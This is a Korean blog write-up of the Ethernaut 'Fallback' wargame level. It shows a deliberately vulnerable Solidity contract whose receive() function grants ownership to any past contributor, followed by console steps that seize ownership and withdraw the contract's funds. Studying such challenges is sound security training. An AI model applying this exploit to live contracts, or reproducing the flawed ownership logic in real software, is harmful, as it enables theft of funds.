소스 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
목표
ownership을 차지하고 컨트랙트의 잔고를 0으로 만들어야한다.
방법
- await contract.owner() // 현재 owner의 주소 확인
- contract.contribute({value : 1}) // 1wei 전송
- await contract.getContributions()
- contract.sendTransaction({value : 2}) // fallback을 실행시킨다.
- await contract.owner() // owner가 변경되었는지 확인
- contract.withdraw() //출금
- await getBalance(contract.address) // 컨트랙트의 잔고 확인
'블록체인 > Ethernaut' 카테고리의 다른 글
[Ethernaut] 6. Delegation (0) | 2022.05.30 |
---|---|
[Ethernaut] 5. Token (0) | 2022.05.28 |
[Ethernaut] 4. Telephone (0) | 2022.05.27 |
[Ethernaut] 3. Coin Flip (0) | 2022.05.25 |
[Ethernaut] 2. Fallout (0) | 2022.05.24 |